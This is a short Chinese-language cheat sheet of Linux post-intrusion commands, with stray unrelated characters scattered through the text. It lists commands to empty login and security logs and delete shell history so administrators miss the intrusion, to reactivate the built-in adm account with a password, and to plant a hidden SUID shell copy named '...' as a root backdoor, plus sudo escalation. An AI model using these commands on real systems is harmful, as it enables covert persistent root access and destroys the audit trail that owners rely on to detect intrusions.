清除日志
1寞酿、清除登錄ssh登錄日志鲜棠、安全日志、last脸哀、lastb等
cat /dev/null > /var/log/wtmp cat /dev/null > /var/log/btmp cat /dev/null > /var/log/lastlog cat /dev/null > /var/log/secure2嫁乘、history刪除
set +o history (最前面有空格)輸入該命令后英遭，在當(dāng)前終端，之后輸入的所有命令都不會被history記錄（防止搞到一半被管理員斷網(wǎng)亦渗，記錄留下）
history -c輸入該命令之后挖诸，當(dāng)前終端所有輸過的命令不會被記錄到history（一般這>個就夠了）
rm -rf ~/.bash_history刪除history，意思之前管理員記錄的history也沒了法精，有的管理員有查看history的習(xí)慣多律，這條慎用
linux suid提權(quán)
前提：以root權(quán)限激活用戶痴突，并創(chuàng)建suid提權(quán)的后門
激活adm用戶（linux自帶很多無用用戶，如adm）
usermod -s /bin/bash adm
echo "password"|passwd --stdin adm
suid提權(quán)狼荞，把sh復(fù)制重命名為...辽装，放在其他文件夾，加s權(quán)限相味，重命名為...是為了不被發(fā)現(xiàn),ls看不到拾积，ls -la一般人也看不出
cp /bin/sh /usr/share/...
chmod a+s /usr/share/...
使用時以adm ssh登錄，然后輸入以下命令就是root權(quán)限了
./usr/share/... -p
經(jīng)測試3.10.0可以完全root權(quán)限丰涉，有些版本權(quán)限會有問題
linux sudo提權(quán)
前提：linux /etc/sudoers文件有添加你普通用戶的賬號
在以普通用戶test執(zhí)行sudo bash
輸入test用戶的密碼
同理sudo vim sudo sh也是可以的
